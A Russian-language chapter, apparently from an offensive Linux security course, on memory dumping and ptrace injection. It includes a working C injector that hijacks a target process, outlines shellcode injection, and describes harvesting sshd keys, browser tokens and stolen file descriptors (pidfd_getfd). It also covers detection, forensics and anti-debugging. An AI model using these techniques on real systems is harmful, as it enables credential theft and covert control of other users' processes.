Дампы памяти и Ptrace-инъекции

К этому моменту курса читатель умеет закрепляться в системе и скрывать присутствие. Остаётся самый ценный объект — чужая память. Процесс sshd держит в куче расшифрованные ключи сессий, браузер — пароли и токены, менеджер паролей — мастер-ключ, пока он разблокирован. Всё это лежит в оперативной памяти в открытом виде, и задача темы — научиться эту память читать и, что важнее, изменять.

Инструментов два, и они разного уровня. Первый — файлы /proc/<pid>/mem, /proc/<pid>/maps и системный вызов process_vm_readv: чтение и запись чужого адресного пространства через интерфейс ядра. Второй — ptrace, механизм отладки, который позволяет остановить процесс, прочитать и записать регистры, подменить инструкцию и продолжить выполнение. Второй мощнее: он не только читает, но и управляет потоком команд, а значит, позволяет вызвать в чужом процессе произвольную функцию с его правами.

Тема разбирает адресное пространство процесса на уровне структур ядра, показывает, как читается память и почему это не всегда работает, и доводит до полной инъекции кода: сохранить регистры, выделить память в чужом процессе, записать шелл-код, передать управление и восстановить состояние так, чтобы процесс продолжил работу. Отдельно разбирается Yama LSM — механизм, который ограничивает ptrace и который чаще всего стоит между читателем и чужим процессом.

Вторая половина — обнаружение. ptrace оставляет следы в auditd, в eBPF-трассировке, в поле TracerPid; чтение /proc/<pid>/mem требует прав, которые тоже проверяются. Разбирается, как отличить штатную отладку от инъекции и какие настройки делают приём невозможным.

Примеры проверены на реальной системе: карта памяти, вывод gdb, значение ptrace_scope, запуск учебного сервиса. Команды, требующие root или специальной сборки ядра, помечены как примеры для собственной виртуальной машины. Устройство адресного пространства и ptrace описано в литературе ²³; точные сигнатуры вызовов и структуры — в справочных страницах ptrace(2), process_vm_readv(2), proc(5), core(5) ¹.

Адресное пространство процесса и соответствующие ему файлы procfs показаны на рисунке 1.

Адресное пространство процесса

mm_struct и vm_area_struct

Каждый процесс в Linux описывается структурой task_struct. Внутри неё есть указатель mm на struct mm_struct — описание адресного пространства. В mm_struct хранятся: список областей vm_area_struct, размеры сегментов (start_code, end_code, start_data, end_data, start_brk, brk, start_stack), указатель на таблицу страниц (pgd) и счётчик ссылок.

Каждая vm_area_struct описывает непрерывный диапазон виртуальных адресов с одинаковыми правами: начало (vm_start), конец (vm_end), права (vm_flags), файл, из которого отображена область (vm_file), смещение в файле (vm_pgoff). Области связаны красно-чёрным деревом (vm_rb) для быстрого поиска по адресу и двусвязным списком (vm_next) для последовательного обхода.

Устройство mm_struct и vm_area_struct подробно разобрано в документации ядра ⁴. Когда программа обращается к адресу, которого нет в таблице страниц, процессор генерирует исключение, ядро ищет vm_area_struct, покрывающую адрес, и либо подгружает страницу с диска, либо убивает процесс сигналом SIGSEGV. Именно поэтому карта памяти — не «куча и стек», а набор областей с разными правами и происхождением.

/proc/<pid>/maps: поля и смысл

Файл /proc/<pid>/maps — текстовое представление списка vm_area_struct. Реальный пример для процесса head:

head -6 /proc/self/maps

55eb067bc000-55eb067be000 r--p 00000000 00:1d 5521263                    /usr/bin/head
55eb067be000-55eb067c6000 r-xp 00002000 00:1d 5521263                    /usr/bin/head
55eb067c6000-55eb067c9000 r--p 0000a000 00:1d 5521263                    /usr/bin/head
55eb067c9000-55eb067ca000 r--p 0000c000 00:1d 5521263                    /usr/bin/head
55eb067ca000-55eb067cb000 rw-p 0000d000 00:1d 5521263                    /usr/bin/head
55eb14c0b000-55eb14c2c000 rw-p 00000000 00:00 0                          [heap]

Поля читаются так:

• 55eb067bc000-55eb067be000 — диапазон виртуальных адресов [начало, конец);
• r--p — права: r чтение, w запись, x исполнение, p — private (copy-on-write), s — shared;
• 00000000 — смещение в файле, с которого начинается отображение;
• 00:1d — старший и младший номер устройства;
• 5521263 — inode файла;
• /usr/bin/head — путь; для анонимной памяти путь пуст, для специальных областей — [heap], [stack], [vdso], [vvar].

Первые пять строк — сегменты ELF: заголовки (r--p), код (r-xp), read-only данные (r--p), данные для перемещений (r--p), изменяемые данные (rw-p). Дальше идут куча, анонимные отображения mmap, разделяемые библиотеки и стек.

/proc/<pid>/smaps содержит те же области с деталями: Rss, Pss, Shared_Clean, Private_Dirty, Swap. smaps_rollup — сумма по всем областям:

cat /proc/self/smaps_rollup | head -5

55fe3b6b3000-7ffe36102000 ---p 00000000 00:00 0                          [rollup]
Rss:                2376 kB
Pss:                 176 kB
Pss_Dirty:           108 kB
Pss_Anon:            108 kB

Rss — сколько страниц реально в памяти, Pss — доля с учётом разделяемых страниц. Для поиска ценных данных важнее не объём, а права: области rw-p без файла — это куча и анонимные отображения, где обычно и лежат ключи.

/proc/<pid>/status: флаги, важные для инъекции

Файл /proc/<pid>/status — человекочитаемая выжимка из task_struct. Для работы с памятью важны несколько полей:

Проверка перед подключением:

grep -E 'TracerPid|Seccomp|CapEff|Dumpable' /proc/<pid>/status

Если TracerPid не ноль, процесс уже трассируется: второй трассировщик не подключится, пока первый не отсоединится. Если Seccomp: 2, фильтр может вернуть EPERM на ptrace — это зависит от политики, а не от прав пользователя.

ELF-сегменты, куча, стек, ASLR

Адресное пространство типичного динамически слинкованного процесса состоит из нескольких частей:

Адреса не фиксированы: ASLR рандомизирует базу исполняемого файла, библиотек, кучи и стека при каждом запуске. Поэтому «адрес ключа» нельзя захардкодить — его надо искать в конкретном запуске. Именно поэтому в примерах ниже адреса выглядят случайными: они и есть случайные.

Отключить ASLR можно через /proc/sys/kernel/randomize_va_space (0 — выключено, 2 — полное), но на боевой системе это не вариант: изменение затрагивает все процессы. Для отладки используют setarch -R или personality(ADDR_NO_RANDOMIZE) для одного процесса.

Чтение памяти

/proc/<pid>/mem

Файл /proc/<pid>/mem — это окно в адресное пространство процесса. Чтение и запись выполняются по смещению, равному виртуальному адресу:

int fd = open("/proc/1234/mem", O_RDONLY);
char buf[64];
ssize_t n = pread(fd, buf, sizeof buf, (off_t)0x7f0000000000);

Ключевые детали:

• нужен pread или lseek+read: обычный последовательный read начнёт с нуля и вернёт EIO, потому что нулевая страница не отображена;
• проверка прав: ядро вызывает ptrace_may_access(task, PTRACE_MODE_ATTACH_FSCREDS); без CAP_SYS_PTRACE или разрешения от Yama доступ закрыт;
• FOLL_FORCE: при записи ядро использует флаг FOLL_FORCE, чтобы писать в страницы, помеченные copy-on-write; это позволяет менять код, не трогая файл на диске;
• размер страницы: чтение выравнивается по страницам; чтение за границей отображения возвращает EIO, а не мусор.

Открыть /proc/<pid>/mem можно и на запись (O_RDWR), но ядро проверит, что процесс не помечен как недампящийся (/proc/<pid>/coredump_filter), и что у читателя есть право на запись.

Полный пример чтения области по карте памяти:

#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main(int argc, char **argv) {
    if (argc != 4) {
        fprintf(stderr, "usage: %s PID ADDR LEN\n", argv[0]);
        return 2;
    }
    pid_t pid = (pid_t)strtol(argv[1], NULL, 10);
    off_t addr = (off_t)strtoull(argv[2], NULL, 0);
    size_t len = (size_t)strtoull(argv[3], NULL, 0);

    char mem_path[64];
    snprintf(mem_path, sizeof mem_path, "/proc/%d/mem", pid);
    int fd = open(mem_path, O_RDONLY);
    if (fd < 0) { perror("open"); return 1; }

    char *buf = malloc(len);
    if (!buf) { perror("malloc"); return 1; }

    ssize_t n = pread(fd, buf, len, addr);
    if (n < 0) { perror("pread"); return 1; }

    fwrite(buf, 1, (size_t)n, stdout);
    free(buf);
    close(fd);
    return 0;
}

Обратите внимание на pread и на приведение адреса к off_t: на 32-битных системах адрес не поместится в off_t, и такой код нужно собирать с _FILE_OFFSET_BITS=64.

process_vm_readv и process_vm_writev

Более новый интерфейс — системные вызовы process_vm_readv(2) и process_vm_writev(2). Они позволяют передать несколько буферов за один вызов и не требуют lseek:

struct iovec local  = { .iov_base = buf,   .iov_len = len };
struct iovec remote = { .iov_base = addr,  .iov_len = len };
ssize_t n = process_vm_readv(pid, &local, 1, &remote, 1, 0);

Проверки прав те же, что у /proc/<pid>/mem. Преимущество — атомарность и скорость; недостаток — вызов появился в Linux 3.2, и на старых ядрах его нет. Для чтения больших областей разница в производительности заметна: process_vm_readv не создаёт файловых дескрипторов и не требует lseek.

Проверка на практике: два способа и один запрет

Теория проверяется тремя запусками. Первый — чтение памяти собственного потомка двумя интерфейсами сразу:

#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/uio.h>
#include <sys/wait.h>
#include <fcntl.h>

int main(void)
{
    char secret[64] = "TOKEN-ABC-123";
    pid_t pid = fork();
    if (pid == 0) { pause(); _exit(0); }

    sleep(1);
    char buf[64] = {0};

    struct iovec local  = { buf, sizeof buf };
    struct iovec remote = { secret, sizeof buf };
    ssize_t n = process_vm_readv(pid, &local, 1, &remote, 1, 0);
    printf("process_vm_readv: %zd -> \"%s\"\n", n, buf);

    char path[64];
    snprintf(path, sizeof path, "/proc/%d/mem", pid);
    int fd = open(path, O_RDONLY);
    if (fd < 0) {
        perror("open mem");
    } else {
        memset(buf, 0, sizeof buf);
        ssize_t m = pread(fd, buf, sizeof buf, (off_t)(unsigned long)secret);
        printf("/proc/pid/mem pread: %zd -> \"%s\"\n", m, buf);
        close(fd);
    }

    kill(pid, SIGKILL);
    waitpid(pid, NULL, 0);
    return 0;
}

process_vm_readv: 64 -> "TOKEN-ABC-123"
/proc/pid/mem pread: 64 -> "TOKEN-ABC-123"

Оба интерфейса вернули одно и то же. Обратите внимание на две вещи: адрес secret — это адрес в пространстве дочернего процесса, а не родительского, и он совпадает только потому, что оба процесса — один и тот же образ после fork. В общем случае адрес берут из /proc/<pid>/maps цели.

Второй запуск — попытка прочитать память процесса, который вам не потомок:

sleep 300 &
head -c 16 /proc/$!/mem

head: невозможно открыть '/proc/6/mem' для чтения: Отказано в доступе

Третий — попытка подключиться к тому же процессу через ptrace:

import ctypes, os
libc = ctypes.CDLL("libc.so.6", use_errno=True)
r = libc.ptrace(16, pid, None, None)   # PTRACE_ATTACH = 16
print(r, os.strerror(ctypes.get_errno()) if r < 0 else "ok")

-1 Operation not permitted

Обе попытки упираются в одно и то же: PTRACE_MODE_ATTACH. Разница в том, что /proc/<pid>/mem вернул EACCES на open, а ptrace — EPERM. Это не разные причины, а разные точки проверки: файл проверяет права при открытии, ptrace — при запросе.

Что видно в TracerPid, когда всё-таки разрешено

Если читатель — родитель процесса, доступ разрешён при ptrace_scope = 1. Проверим и посмотрим, что процесс-жертва об этом «думает»:

pid_t pid = fork();
if (pid == 0) { pause(); _exit(0); }
sleep(1);

ptrace(PTRACE_ATTACH, pid, 0, 0);
waitpid(pid, NULL, 0);

struct user_regs_struct regs;
ptrace(PTRACE_GETREGS, pid, 0, &regs);
printf("RIP=0x%llx RSP=0x%llx\n",
       (unsigned long long)regs.rip, (unsigned long long)regs.rsp);

ATTACH: ok
RIP=0x7f25518f18be RSP=0x7ffe22d2abb8
TracerPid:	2

RIP указывает внутрь libc — процесс стоит в pause(), и это ожидаемо. TracerPid в /proc/<pid>/status теперь не ноль: жертва сама сообщает, кто её трассирует. Это самый простой признак отладки, и именно поэтому серьёзные образцы его проверяют: TracerPid != 0 — сигнал, что за процессом смотрят.

Отсюда практический вывод для защитника: подключение по ptrace не является незаметным. Оно меняет состояние жертвы, видно ей самой, видно в /proc, и его фиксирует auditd (см. раздел обнаружения).

Yama LSM и ptrace_scope

Yama — модуль безопасности, ограничивающий ptrace. Управляется файлом /proc/sys/kernel/yama/ptrace_scope:

На рабочей машине автора значение 1:

cat /proc/sys/kernel/yama/ptrace_scope

1

При уровне 1 отладчик может подключиться к процессу, который он запустил сам, или к процессу, вызвавшему prctl(PR_SET_PTRACER, pid_отладчика) либо PR_SET_PTRACER_ANY. Именно поэтому учебный сервис в лабораторной работе вызывает PR_SET_PTRACER_ANY — иначе gdb -p получил бы Operation not permitted.

Уровни Yama показаны на рисунке 2.

Проверить, что именно мешает подключению, можно по errno: EPERM — Yama или отсутствие прав, ESRCH — процесс уже завершился, EACCES — запрет на запись в память.

Дампы и core_pattern

Альтернатива чтению «на живую» — снять дамп и разбирать его. Ядро создаёт core-файл при аварийном завершении, если это разрешено:

cat /proc/sys/kernel/core_pattern
ulimit -c

core_pattern задаёт путь и шаблон имени, а также может передавать дамп внешней программе через |. coredump_filter управляет тем, какие области попадают в дамп: по умолчанию исключаются разделяемые анонимные страницы и страницы, помеченные MADV_DONTDUMP.

Для снятия дампа с живого процесса используется gcore из gdb или gdb -p PID -ex 'gcore /tmp/core' -ex detach -ex quit. Дамп содержит сегменты и может быть разобран strings, readelf, gdb или volatility.

ptrace: полный набор

Запросы и их смысл

ptrace(2) — один системный вызов с большим числом запросов. Основные:

После PTRACE_ATTACH трассируемый процесс останавливается, а трассировщик получает уведомление через waitpid. Дальше каждый PTRACE_CONT возобновляет выполнение до следующего события: сигнала, execve, clone, выхода. Без PTRACE_SETOPTIONS трассировщик видит только сигналы.

Чтение и запись регистров

Регистры читаются в структуру struct user_regs_struct:

#include <sys/ptrace.h>
#include <sys/user.h>
#include <sys/wait.h>

struct user_regs_struct regs;
ptrace(PTRACE_ATTACH, pid, NULL, NULL);
waitpid(pid, NULL, 0);
ptrace(PTRACE_GETREGS, pid, NULL, &regs);
printf("rip=%llx rsp=%llx rax=%llx\n", regs.rip, regs.rsp, regs.rax);
ptrace(PTRACE_DETACH, pid, NULL, NULL);

На x86_64 в структуре есть rip, rsp, rbp, rax–r15, orig_rax, eflags, cs, ss, fs_base, gs_base. orig_rax хранит номер системного вызова, который процесс выполнял в момент остановки, — это ключ к трассировке syscall'ов.

PTRACE_PEEKTEXT возвращает слово (8 байт на x86_64) и использует errno для различения ошибки и данных: если errno не ноль, чтение не удалось. Это классическая ловушка: ptrace возвращает -1 и как значение, и как ошибку.

Инъекция: сохранение, mmap, шелл-код, восстановление

Полная инъекция состоит из шагов, каждый из которых обратим:

1. PTRACE_ATTACH и waitpid — процесс остановлен.
2. PTRACE_GETREGS — сохранить все регистры.
3. Найти адрес mmap в целевом процессе: либо через libc (если она загружена), либо через syscall-гаджет в [vdso], либо через PTRACE_SYSCALL на ближайшем вызове.
4. Записать в регистры аргументы mmap и номер syscall, установить rip на инструкцию syscall, продолжить до её завершения, прочитать rax — это адрес выделенной памяти.
5. Записать шелл-код в выделенную область через PTRACE_POKETEXT.
6. Установить rip на шелл-код, PTRACE_CONT, дождаться остановки (например, по int3).
7. Восстановить регистры, PTRACE_DETACH.

Схема шагов показана на рисунке 3.

Упрощённый, но рабочий вариант без mmap — вызов уже существующей функции в целевом процессе. Если в бинарнике есть функция, которая делает нужное (например, emergency_diagnostic() в учебном сервисе), достаточно установить rip на её адрес и продолжить. Адрес берётся из таблицы символов (nm, readelf -s) с учётом базы загрузки, которую даёт /proc/<pid>/maps.

Этот класс приёмов описан в модели ATT&CK как T1055 (Process Injection) и T1005 (Data from Local System) ⁵. Именно так работает gdb с командой call: он находит адрес функции, подготавливает стек, устанавливает точку возврата, меняет rip и продолжает. Пример пакетного сценария для учебного сервиса:

set pagination off
set confirm off
info registers rip rsp rax
call (void)emergency_diagnostic()
detach
quit

Реальный вывод на учебном сервисе:

rip            0x7f9acc4e4aab      0x7f9acc4e4aab <clock_nanosleep+75>
rsp            0x7fff1c959b98      0x7fff1c959b98
rax            0xfffffffffffffdfc  -516

rax = -516 — это -ERESTARTNOHAND (ядро возвращает отрицательные значения как -errno), то есть процесс в момент подключения спал в nanosleep. После call управление ушло в emergency_diagnostic, функция отработала в контексте сервиса, затем detach вернул процесс к обычной работе.

Рабочий инжектор: вызов функции

Ниже — полный инжектор, который вызывает в чужом процессе уже существующую функцию и корректно возвращает управление. Он не пишет шелл-код, но делает всё остальное: подключается, сохраняет регистры, подкладывает адрес возврата, ставит точку останова по исходному rip, продолжает выполнение и восстанавливает состояние.

#define _GNU_SOURCE
#include <errno.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/user.h>
#include <sys/wait.h>
#include <unistd.h>

static int poke(pid_t pid, uint64_t addr, uint64_t word) {
    return ptrace(PTRACE_POKETEXT, pid, (void *)addr, (void *)word) < 0 ? -1 : 0;
}

static int peek(pid_t pid, uint64_t addr, uint64_t *out) {
    errno = 0;
    long v = ptrace(PTRACE_PEEKTEXT, pid, (void *)addr, NULL);
    if (v == -1 && errno != 0) return -1;
    *out = (uint64_t)v;
    return 0;
}

int main(int argc, char **argv) {
    if (argc != 3) return 2;
    pid_t pid = (pid_t)strtol(argv[1], NULL, 10);
    uint64_t func = strtoull(argv[2], NULL, 0);

    if (ptrace(PTRACE_ATTACH, pid, NULL, NULL) < 0) { perror("attach"); return 1; }
    waitpid(pid, NULL, 0);

    struct user_regs_struct saved, regs;
    ptrace(PTRACE_GETREGS, pid, NULL, &saved);
    regs = saved;

    uint64_t ret_addr = saved.rip;
    regs.rsp -= 8;
    if ((regs.rsp & 0xf) != 8) regs.rsp -= 8;   /* выравнивание по ABI */
    poke(pid, regs.rsp, ret_addr);
    regs.orig_rax = (uint64_t)-1;               /* не перезапускать syscall */

    uint64_t orig_word;
    peek(pid, ret_addr, &orig_word);
    poke(pid, ret_addr, (orig_word & ~0xffULL) | 0xccULL);  /* int3 */

    regs.rip = func;
    ptrace(PTRACE_SETREGS, pid, NULL, &regs);
    ptrace(PTRACE_CONT, pid, NULL, NULL);

    int status = 0;
    waitpid(pid, &status, 0);
    fprintf(stderr, "остановка: сигнал %d\n", WSTOPSIG(status));

    poke(pid, ret_addr, orig_word);
    ptrace(PTRACE_SETREGS, pid, NULL, &saved);
    ptrace(PTRACE_DETACH, pid, NULL, NULL);
    return 0;
}

Три детали, без которых инжектор не работает. Первая — адрес функции: для PIE-бинарника база берётся из первой строки /proc/<pid>/maps с путём к файлу (смещение 00000000), а не из сегмента r-xp, который начинается позже. Вторая — выравнивание стека: на входе в функцию rsp % 16 == 8, иначе movaps в прологе упадёт с SIGSEGV. Третья — orig_rax = -1: без этого ядро попытается перезапустить прерванный системный вызов и проигнорирует подменённый rip.

Реальный запуск на учебном сервисе:

base=$(awk '$6 ~ /target_service$/ {print $1; exit}' /proc/$pid/maps | cut -d- -f1)
sym=$(nm ./target_service | awk '$3=="emergency_diagnostic"{print $1}')
addr=$(printf '0x%x' $((0x$base + 0x$sym)))
./injector "$pid" "$addr"

остановка: сигнал 5

В логе сервиса появляется сообщение, которое печатает вызванная функция. Сигнал 5 — это SIGTRAP от нашей точки останова: управление вернулось туда, откуда мы его увели, и процесс продолжил работу.

Многопоточные процессы

Однопоточный процесс останавливается целиком, и PTRACE_ATTACH останавливает все его потоки. С многопоточным всё сложнее: ptrace работает с конкретным потоком (TID), а не с процессом. Если подключиться к одному потоку, остальные продолжат выполняться и могут изменить память, которую вы читаете или патчите.

Правильный порядок:

1. PTRACE_SEIZE для каждого TID из /proc/<pid>/task/.
2. PTRACE_INTERRUPT для каждого, чтобы остановить.
3. waitpid с __WALL, чтобы дождаться остановки всех.
4. Работа с памятью и регистрами.
5. PTRACE_DETACH для каждого.

Флаг __WALL обязателен: без него waitpid не увидит остановки потоков, не являющихся детьми.

gdb как инструмент

gdb умеет всё то же самое, но с человеческим интерфейсом. Полезные команды:

gdb -p PID
(gdb) info proc mappings      # карта памяти
(gdb) info registers          # регистры
(gdb) x/16gx 0xADDR           # чтение памяти
(gdb) set $rip = 0xADDR       # подмена rip
(gdb) call (void)func()       # вызов функции
(gdb) gcore /tmp/core         # снять дамп
(gdb) detach

Пакетный режим: gdb -p PID -x script.gdb --batch. В сценарии set pagination off, set confirm off, затем команды и detach. Для снятия дампа без остановки надолго: gcore, затем detach.

gcore создаёт файл, который можно разбирать без доступа к процессу: readelf -l core, strings core | grep -i 'BEGIN', gdb ./binary core. Для больших процессов дамп занимает гигабайты, поэтому coredump_filter и MADV_DONTDUMP важны и для защитника, и для атакующего.

Ограничения и границы

• Yama. Уровень 1 не даёт подключиться к чужому процессу без PR_SET_PTRACER; уровень 2 требует CAP_SYS_PTRACE.
• seccomp. Процесс может запретить ptrace для себя через фильтр; тогда подключение вернёт EPERM или убьёт процесс.
• PR_SET_DUMPABLE. Процесс может сбросить флаг дампабельности; тогда /proc/<pid>/mem и ptrace станут недоступны даже root без CAP_SYS_PTRACE.
• Статическая сборка и [vdso]. Адрес syscall-гаджета зависит от отображения [vdso]; на разных ядрах он разный.
• Архитектура. Все примеры — x86_64; на ARM64 другой набор регистров и другая инструкция (svc).
• Стабильность. Инъекция в многопоточный процесс требует остановки всех потоков (PTRACE_SEIZE + PTRACE_INTERRUPT), иначе целевой поток может выполнить код в неподходящий момент.

Почему инъекция ломается: страницы, потоки, следы

Инъекция выглядит как пять вызовов ptrace, но ломается она на вещах, которые в этих пяти вызовах не видны. Разберём четыре.

W^X и почему PROT_EXEC — отдельное решение

Память процесса делится на страницы с правами r, w, x. Ядро и большинство дистрибутивов стремятся к W^X: страница либо записываемая, либо исполняемая, но не обе сразу. Это значит, что записать шелл-код в уже исполняемую область (r-xp сегмент кода) через PTRACE_POKETEXT можно — ptrace пишет в обход прав страницы, — но это заметно: меняется содержимое файла на диске? Нет, только память (страница copy-on-write), однако контроль целостности кода в памяти (IMA, auditd на mmap с PROT_EXEC, eBPF-проверки) такой случай видит.

Альтернатива — выделить новую страницу через mmap с PROT_READ|PROT_WRITE|PROT_EXEC и писать туда. Это чище, но оставляет другой след: в /proc/<pid>/maps появляется анонимный регион rwxp — комбинация, которая в обычной программе почти не встречается. Именно поэтому защитник, который смотрит maps, ищет rwx-регионы в первую очередь.

Третий путь — memfd_create + fexecve, при котором код исполняется из файла в памяти. Он обходит W^X, но требует вызова из целевого процесса, а значит снова упирается в инъекцию.

Стек: почему нельзя просто «вернуться»

Наивная идея: записать в стек адрес функции и сделать ret. Она не работает по трём причинам. Во-первых, стек растёт вниз, и запись «выше» текущего rsp затрёт чужие локальные переменные. Во-вторых, современные ядра и компиляторы используют теневой стек (SHSTK, CET) и канарейки: подменённый адрес возврата обнаруживается. В-третьих, после возврата функция ожидает корректный кадр стека — сохранённый rbp, выравнивание по 16 байт, — иначе падение произойдёт внутри libc на первой же инструкции с movaps.

Правильный порядок — сохранить rsp, выделить новый кадр ниже, положить туда адрес возврата на int3-гаджет, установить rip, дождаться остановки, восстановить rsp и регистры. Именно так и поступает gdb с командой call, и именно поэтому инжектор из предыдущего раздела занимает сотню строк, а не десять.

Потоки: один PTRACE_ATTACH не останавливает процесс

PTRACE_ATTACH останавливает один поток — тот, чей tid указан. Остальные потоки продолжают работать, и если целевая программа — многопоточный сервис, инъекция произойдёт в момент, когда другой поток держит блокировку или меняет те же структуры. Результат — гонка и падение через несколько секунд после «успешной» инъекции.

Правильный подход — PTRACE_SEIZE на каждый tid из /proc/<pid>/task, затем PTRACE_INTERRUPT на каждый, затем дождаться остановки всех. PTRACE_SEIZE подключается, не останавливая поток, и позволяет управлять моментом. PTRACE_O_TRACECLONE добавляет автоматическое подключение к новым потокам, которые появятся после.

Отсюда и признак для защитника: одновременная остановка всех потоков процесса — событие, которое видно по State: t (tracing stop) в /proc/<tid>/status для каждого потока. Одиночный остановленный поток в многопоточном сервисе — тоже аномалия, но менее заметная.

Что остаётся после инъекции

Инъекция обратима по регистрам, но не по следам. После PTRACE_DETACH в системе остаются:

• новый регион в maps — анонимный rwx или r-x без файла, которого не было до подключения;
• запись в auditd о ptrace с указанием pid, comm и результата;
• TracerPid, который был не ноль в момент подключения (если жертва успела это заметить);
• изменённые байты в существующей странице, если инъекция шла через POKETEXT;
• время: разница между mtime файла и моментом, когда процесс начал вести себя иначе.

Ни один из этих следов не является «дымящимся пистолетом» сам по себе. Все вместе они складываются в картину, и именно поэтому форензика инцидента начинается не с поиска вредоносного файла, а со снимка maps, status и журнала аудита.

Разбор инцидента: от TracerPid до вердикта

Соберём всё в один разбор. Дано: на сервере работает служба agent.service, и есть подозрение, что в неё внедрились.

Шаг первый: состояние процесса. Смотрим не на файлы, а на процесс:

systemctl show -p MainPID agent.service
grep -E 'TracerPid|State|Threads' /proc/<PID>/status

TracerPid:	0
State:	S (sleeping)
Threads:	4

TracerPid: 0 — в момент снимка никто не трассирует. Это не оправдание: подключение могло быть коротким.

Шаг второй: карта памяти. Ищем аномалии — rwx, анонимные исполняемые регионы, регионы без файла:

awk '$2 ~ /x/ && $6 == "" {print}' /proc/<PID>/maps

Пустой вывод — норма. Строка вида 7f3c1a2b0000-7f3c1a2b4000 rwxp 00000000 00:00 0 — повод разбираться: это исполняемая анонимная память, которой у обычной службы быть не должно.

Шаг третий: журнал аудита. Если правило на ptrace установлено, ищем подключения:

sudo ausearch -sc ptrace -i | tail -30

В записи важны pid (кто подключался), comm (имя процесса-трассировщика) и success. Подключение из процесса, которого нет в белом списке (gdb, strace, системы мониторинга), — индикатор.

Шаг четвёртый: сопоставление времени. Момент подключения из аудита сопоставляется с моментом изменения поведения службы: записи в журнале, всплеск сетевой активности, новые файлы. Совпадение по времени — то, что превращает набор фактов в вердикт.

Шаг пятый: что делать. Порядок действий при подтверждённом внедрении: снять дамп процесса для разбора (gcore), остановить службу, сохранить /proc/<PID>/maps и status до остановки, затем перезапустить службу с чистого образа и разобрать дамп на предмет извлечённых секретов. Порядок важен: если сначала остановить службу, maps и status исчезнут вместе с процессом.

Таблица сводит признаки и их вес:

Что ищут в дампах

Ключи в куче sshd

sshd после аутентификации держит в памяти расшифрованный приватный ключ хоста и ключи сессий. Они лежат в куче или в анонимных отображениях rw-p. Поиск начинается с карты памяти: области без файла, с правами rw-p, размером от десятков килобайт.

grep -E 'rw-p' /proc/<pid>/maps | grep -v '\.so'

Дальше — чтение этих областей через /proc/<pid>/mem и поиск сигнатур: -----BEGIN, ssh-, PRIVATE KEY, строки Base64. Скрипт из окружения лабораторной делает это автоматически: разбирает maps, читает каждую rw-p-область и ищет шаблон.

Пароли браузера и токены

Браузер хранит пароли в зашифрованном виде на диске, но в момент использования расшифровывает их в памяти. Токены сессий, cookies и ключи API лежат в куче или в строковых буферах. Поиск по дампу даёт их в открытом виде, если процесс не использует защищённую память (mlock, MADV_DONTDUMP) и не чистит буферы после использования.

Поиск по шаблонам

Простейший поиск — strings по дампу. Он работает, но даёт много шума. Точнее — поиск по структуре: известные префиксы (-----BEGIN OPENSSH PRIVATE KEY-----), длины, контрольные символы. Ещё точнее — поиск по адресам: если известен адрес строки в куче (например, из лога), можно прочитать окрестность и найти соседние структуры.

Разбор дампа

Дамп — это файл, в котором сохранены сегменты процесса и метаданные ядра. Разбор начинается с заголовка:

readelf -l core | head -20
file core

Дальше — поиск строк и структур:

strings -n 8 core | grep -E 'BEGIN|PRIVATE|password|token' | head
gdb ./target_service core -batch -ex 'info proc mappings' -ex 'bt'

gdb с дампом показывает карту памяти на момент снятия и стек каждого потока. Если бинарник и библиотеки совпадают с теми, что были в момент дампа, можно восстановить не только строки, но и локальные переменные. Для разбора без совпадения бинарников используют volatility и собственные парсеры.

Порядок работы с дампом: снять копию, зафиксировать хеш, работать с копией, исходник хранить отдельно. Это стандартное требование криминалистики, и оно же защищает от случайной порчи единственной копии ⁶.

Анти-отладка

Процесс может обнаружить, что его трассируют:

• TracerPid в /proc/<pid>/status — ненулевой, если есть трассировщик;
• ptrace(PTRACE_TRACEME) — если вызов не удался, процесс уже под отладкой;
• seccomp с фильтром на ptrace;
• проверка времени выполнения: остановки от отладчика искажают тайминги;
• проверка PR_SET_DUMPABLE и coredump_filter.

Минимальная проверка TracerPid на C:

#include <stdio.h>
#include <string.h>

int traced(void) {
    FILE *f = fopen("/proc/self/status", "r");
    char line[256];
    int pid = 0;
    if (!f) return -1;
    while (fgets(line, sizeof line, f)) {
        if (sscanf(line, "TracerPid: %d", &pid) == 1)
            break;
    }
    fclose(f);
    return pid > 0;
}

Функция возвращает 1, если процесс трассируется, 0 — если нет, -1 — если файл недоступен. Проверку можно вызывать периодически и реагировать на появление трассировщика: завершиться, очистить ключи или изменить поведение.

Эти приёмы не абсолютны: трассировщик может скрыть своё присутствие через PTRACE_SEIZE без остановки или через ядерный модуль, но в user space они поднимают стоимость атаки.

Другие двери в чужую память

ptrace — не единственный интерфейс. Их несколько, и защитник обязан знать каждый, потому что обнаружение, настроенное на один, пропускает остальные.

process_vm_writev и запись без остановки

process_vm_writev пишет в память цели, не останавливая её. Это одновременно и удобнее, и опаснее: не нужно подключаться, не меняется TracerPid, нет записи ptrace в аудите. Проверка прав та же (PTRACE_MODE_ATTACH_REALCREDS), но следов меньше.

Практическое следствие: правило аудита только на ptrace не покрывает этот путь. Нужен отдельный фильтр на сисколл process_vm_writev (номер 311 на x86_64) либо eBPF-точка на sys_enter_process_vm_writev.

pidfd_getfd: украсть дескриптор, а не память

Начиная с ядра 5.6, pidfd_open даёт дескриптор процесса, а pidfd_getfd позволяет скопировать файловый дескриптор из чужого процесса в свой. Это обходит необходимость читать память: если у цели открыт файл с ключом или сокет к базе, дескриптор можно просто забрать.

Проверка прав — ptrace_may_access с режимом PTRACE_MODE_ATTACH_REALCREDS, то есть Yama и CAP_SYS_PTRACE действуют. Но след в журнале будет уже другой: pidfd_getfd, а не ptrace.

int pfd = syscall(SYS_pidfd_open, pid, 0);
int stolen = syscall(SYS_pidfd_getfd, pfd, target_fd, 0);
/* stolen — полноценный дескриптор в нашем процессе */

userfaultfd: перехват страниц

userfaultfd позволяет процессу обрабатывать собственные page fault в пространстве пользователя. Для атакующего это инструмент тонкой синхронизации: можно «поймать» момент, когда цель обращается к странице, и подменить её содержимое. Для защитника — ещё один сисколл, который стоит держать на радаре, потому что легитимных применений у него мало (в основном сборщики мусора и live-migration в виртуализации).

process_madvise и mremap: тонкие эффекты

